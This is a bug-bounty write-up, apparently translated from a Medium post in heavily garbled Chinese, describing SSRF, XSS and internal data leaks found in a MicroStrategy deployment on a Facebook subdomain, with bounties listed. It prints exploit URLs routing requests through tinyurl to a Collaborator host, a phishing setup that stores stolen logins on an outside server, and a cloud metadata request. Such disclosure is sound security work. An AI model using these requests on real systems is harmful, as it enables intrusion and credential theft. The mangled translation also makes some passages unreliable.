Facebook二级域名微策略(MicroStrategy)

文中中，创作者从Facebook二级域名中布署的微策略（MicroStrategy）业务系统下手，根据Burp Collaborator结构，运用深层次深层次再深层次的发掘，弘扬坚持不懈的精神实质，发觉了比较敏感数据泄露和SSRF系统漏洞，获得了$31500（$1000 $30000 $500）的系统漏洞奖励金。一起来看一下。

系统漏洞眉目

Facebook是时兴的社交网络服务平台，我本人喜爱检测Facebook系统漏洞，我觉得，近期我发现Facebook的二级域名https://m-nexus.thefacebook.com/，浏览它后会跳转到https://m-nexus.thefacebook.com/servlet/mstrWebAdmin，如下图所显示：

从网页页面中的回应內容，我立刻对在其中的关键词mstrWebAdmin开展了Google搜索，发觉它是根据商务智能企业微策略（MicroStrategy）工作中集成化的一个网站测试：

我都从一篇博闻中找到明确案件线索：

然后，我在MicroStrategy的官方网配备文本文档中发觉，有两个能够公布浏览的节点：

融合MicroStrategy官方网配备文本文档深入分析，我发现一个默认设置为HTTP基础验证配备的节点：https://m-nexus.thefacebook.com/servlet/mstrWeb，及其另一个不用身份认证的节点：https://m-nexus.thefacebook.com/servlet/taskProc

放前一个不用认证的节点中，它会用“taskId”等主要参数来实行数据采集和內容转化成。我就用Burp的Intruder控制模块对在其中的每日任务主要参数开展了枚举类型，发觉其每一个每日任务要求都是实行一个合理的对话主要参数认证，唯有在解决“taskId=shortURL”时不用对话主要参数认证，因而，网络攻击能够运用这条案件线索不用一切身份认证浏览到facebook的此类服务项目。

可是，在该实际操作要求下，我试着着把MicroStrategy官方网配备文本文档中涉及到的主要参数都fuzz了一遍，都没有从要求回应中回到有效的信息内容，大部分情况下它回到的全是状态码为500的不正确信息“The source URL is not valid”，因此，我也试着了把MicroStrategy的一些SDK网站源码下载出来准备开展一个源代码剖析。下列是一个接近400M的源代码，在其中包括了一些脚本制作和jar文件。

在 jd-gui 协助下，我对它开展了反汇编。我搜索的总体目标是不用对话主要参数认证，解决short URL的shortURL要求每日任务，最后，我还在在其中一个jar文件中发觉了有关启用表明：

如今我想剖析的是，为何每一次该每日任务要求回到的全是不正确信息。此外，从编码中能够看得出，“shortURL”要求中涉及到的srcURL变量值务必是经“https://tinyurl.com/" 转换后的短地址，仅有根据该短地址，每日任务才可以实行数据信息造成 或载入。以下：

检测运用

下列就是我发送给Facebook的重现流程：

1、开启Burp抓包工具，挑选在其中的“Burp Collaborator client”，转化成一个Collaborator 网站域名，并拷贝：

2、开启“https://tinyurl.com/"网址，键入拷贝的Collaborator网站域名，转化成tinyurl方法的短域名：

3、在下列连接，在“srcURL”主要参数处插进大家转化成的tinyurl短域名，随后进行浏览：

https://m-nexus.thefacebook.com/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=json&srcURL={YOUR_TINY_URL_HERE}

4、观查Burp Collaborator服务器端的回到信息内容，能够见到，IP地址“199.201.64.1”对Burp Collaborator服务器端进行了要求：

5、理论上看，这毫无疑问是SSRF的原曲了，经whois查询记录，IP地址199.201.64.1的确归属于Facebook全部：

6、为深层次检测SSRF，我又结构了一个由內部IP地址（如123.10.123.10）转化成的tinyurl短域名，产生srcURL变量值，进行要求后，无一切反映：

7、我又用127.0.0.1:8080结构了一个tinyurl短域名，产生srcURL变量值，进行要求后，Facebook服务器端提醒必须开展HTTP基础验证：

不断运用该方式 ，能够枚举类型出Facebook服务器防火墙后的一系列內部IP地址和有关构架信息内容，因此我立刻把该系统漏洞汇报给了Facebook安全性精英团队。可是以后，Facebook觉得这不属于网络安全问题，......：

深层次发掘（$1000）

运用所述发觉，我试着运用不一样的SSRF检测姿态尝试载入Facebook服务器端的比较敏感信息内容，或者云空间的案例数据信息，但经file://、dict://、ftp://、gopher://等一通实际操作以后，居然都失败，一无所获。

最后，我终于发觉了好多个好点的系统漏洞案例。如下列的这一XSS：

及其这一根据SSRF的中间人攻击，这儿最先必须自架一个服务器端，布署上仿冒的Facebook登陆页面：

在https://tinyurl.com/中，将http://ahmedabadexpress.co.in/fb/login/fb.html转化成tinyurl短域名：

在下列连接的srcURL主要参数中插进转化成的tinyurl短域名，随后发给受害人：

https://m-nexus.thefacebook.com/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=json&srcURL={YOUR_TINY_URL_HERE}

假如网络攻击一不小心钓上后，他键入的用户名密码可能储存到我网络服务器的http://ahmedabadexpress.co.in/fb/login/usernames.txt文件中，以后，再自动跳转到带m-nexus.thefacebook.com字串的真实的Facebook登陆页面。

我还在服务器端浏览下列文档http://ahmedabadexpress.co.in/fb/login/usernames.txt，就可以见到垂钓盗取来的受害人用户名密码信息内容：

自然，做为网络攻击而言，还可以运用该系统漏洞让受害人自动跳转到其他布署有恶意程序的垃圾网站，完成感柒类进攻。

检测Facebook內部构架或服务项目：

运用Burp Intruder推送枚举类型要求，能够检测出服务器防火墙后运作于Facebook服务器端的业务系统状况，如端口号或运用名字等信息内容：

例如，我还在端口号10303上发觉了Facebook服务器端的一个名叫“LightRay”的业务系统：

该系统漏洞汇报后，Facebook安全性精英团队快速干了修补解决，悬赏金为$1000：

大戏才刚开始

如今，在了解Facebook生产系统布署了MicroStrategy Web SDK后，我甚为开心，由于MicroStrategy Web SDK是根据java的，而我很喜欢发觉java类系统漏洞。因此，我就用JD Decompiler 专用工具对每一个jar文件开展了反汇编提前准备开展代码审计，此外，我一直在我自架的网址上布署了MicroStrategy Web SDK，如果有相对系统漏洞，也罢开展认证。历经26天的刻苦钻研和瞎折腾以后，我终于发觉了一个有趣的案件线索。

在源代码的“com.microstrategy.web.app.task.WikiScrapperTask”类中，在我们推送了做为客户键入的主要参数后，“str1”即被复位，它会检查用户键入的URL字串中是不是包括http://或https://， 如果有，随后会启用“webScrapper”方式 。

“webScrapper”方式 会在后台管理用Java的HTML在线解析JSOUP向客户键入的URL推送一个GET要求，以获得和分析在其中的HTML网页页面：

因而，最后它又可产生一个SSRF系统漏洞：

但悲剧的是，此次是一个Blind SSRF，因此 没法分辨一些GET要求的实效性，可是，经对m-nexus.thefacebook.com网站布署的MicroStrategy Web SDK科学研究后，我发现了这是一个內部SSRF系统漏洞，因而没法像上述情况方式 那般对Facebook内部网构架实行枚举类型或检测，无本质不良影响。假如就是这样汇报给Facebook安全性精英团队后，毫无疑问会被拒绝掉，那接下去怎么办呢？因为我没辙了。

到此，我将这一系统漏洞先放一放，随后转为科学研究Facebook域名网站域名 (facebook.com)系统漏洞。

转折重现

几个月以后，我还在Facebook系统软件中发觉了此外一个系统漏洞，它是Facebook URL短址转化成服务项目造成 的比较敏感数据泄露系统漏洞。URL短址转化成是根据大幅度减少统一資源精准定位字串的方法，来转化成更短的URL连接，但最后的要求偏向依然不会改变。

Facebook有自身的短 址生成方式，如https://fb.me/，该短址转化成服务项目能够Facebook內部职工和群众客户应用，浏览经其转变后的短址会立即自动跳转到相对的长址。此外，我都注意到Facebook短址“fb.me”欠缺速度限定对策（rate-limit），因而，我打算对其进行比较敏感文件目录或文档的暴力行为枚举类型，观查其回应中是不是有特别注意的內容。在Burp Intruder控制模块的协助下，我捕获了好多个Facebook短址连接，浏览他们会自动跳转到Facebook的內部系统软件，随后，经过这种內部系统软件会再自动跳转到Facebook域名（facebook.com）。大概的自动跳转逻辑性以下：

https://fb.me/xyz==> 301 Moved Permanently —https://our.intern.facebook.com/intern/{some-internal-data} ==> 302 Found —https://www.facebook.com/intern/{some-internal-data} ==> 404 Not Found

留意，这儿自动跳转到的Facebook內部系统软件连接，在其中包括了许多 比较敏感信息内容或数据信息，如“https://our.intern.facebook.com/intern/webmanager?domain=xyz.com&user=admin&token=YXV0aGVudGljYXRpb24gdG9rZW4g"

实际示比如下列要求https://fb.me/err后，在回应內容中出現了许多 internal比较敏感信息内容和系统日志纪录：

因此，我刻意对于https://fb.me/xyz结构了一个词典目录和一个Python脚本制作，相互配合Intruder控制模块，进行了自动化技术要求。Python脚本制作以下：

下列是要求进行后，从回应內容中获得的很多Facebook內部系统软件比较敏感信息内容：

出自于Facebook信息保密对策，我这里只放了二张截屏。该系统漏洞的伤害取决于能够泄漏內部的HTTP GET要求回应，造成 日志文件件途径数据泄露，还可不用一切管理权限认证地对Facebook內部数据信息、內部IP、內部ID、配备信息内容、內部文档等进行要求。运用该系统漏洞，网络攻击能够枚举类型Facebook当今系统软件中的合理內部URL连接。

系统漏洞开发利用

因此 ，如今看来，我手里有两个系统漏洞了：

1、Blind SSRF，运用它能够递交对于Facebook內部和外界系统软件的要求；

2、服务器端比较敏感数据泄露，能够见到的是Facebook內部的系统日志文件夹名称途径、文件路径、內部数据信息要求回应等数据信息。

我刻意搭建了一个情景，根据比较敏感数据泄露完成文件目录解析xml和服务器端要求仿冒进攻（SSRF）。网络攻击要是了解內部IP地址，那麼对內部应用系统的进攻也就相对性简易了。

我连在PoC一起发给了Facebook，接到的回应确是说牵涉到的这种內部软件系统全是用于推送外界要求的，并且不可以重现SSRF系统漏洞。我KAO。居然系统漏洞失效。

之后，过去了几日，我发现了Facebook早已偷偷修补了在其中的blind SSRF系统漏洞，并且以前的wikiScrapper每日任务方式 启用早已没法运用了。我认为这好像不太公平公正，因此向Facebook安全性精英团队出函咨询：

Facebook在帮我的回应中宣称，这不是他们的有意修补，估算是其他不有关系统漏洞的连同修补，或部件升级造成 的。

太悲剧了，对吧。

SSRF再现（$30000）

再次历经几日的科学研究后，我终于发觉了此外一个Blind SSRF系统漏洞。从MicroStrategy web SDK中，我确定这是一个SSRF系统漏洞，在“com.microstrategy.web.app.utils.usher”类的源码中，我发现了解决“serverURL”主要参数的方式 “validateServerURL” 会向客户键入的URL连接推送一个GET要求。

我就用Burp Collaborator URL更换了要求连接中 “serverURL”后，获得的服务器端回应以下：

迅速，Burp Collaborator服务器端就收到了来源于Facebook要求的回应，回应中包括要求进行端Facebook內部IP地址信息内容。SSRF毫无疑问了。

总算让Facebook安全性精英团队如愿以偿了，开发利用该系统漏洞一样可造成 內部比较敏感数据泄露，她们也回应称系统漏洞能够重现，这里获得的悬赏金为$30000，WOW：

另一个SSRF（$500）

然后，我觉得检测MicroStrategy演试门户网中是不是存有SSRF系统漏洞，又发觉根据SSRF方法，要求MicroStrategy的AWS数据库API，能够从MicroStrategy服务器端载入一些比较敏感信息内容，如下列SSRF要求连接http://169.254.169.254/latest/user-data后获得的回应信息内容：

以后，我立刻汇报给了MicroStrategy安全性精英团队，再度获得了$500的悬赏金。

小结

请原谅我写那么一篇writeup长微博，目地取决于让大伙儿真实了解我的发现全过程和构思。我开发利用代码审计、特殊值枚举类型和脚本制作方法最后发觉了高风险系统漏洞。那时候我觉得结构发觉Facebook的RCE系统漏洞，但她们的安全防范措施很及时。无论如何，这三个系统漏洞要我获得了$31500 ($1,000 $30,000 $500) 的奖赏，非常非常值得。

参照来源于

medium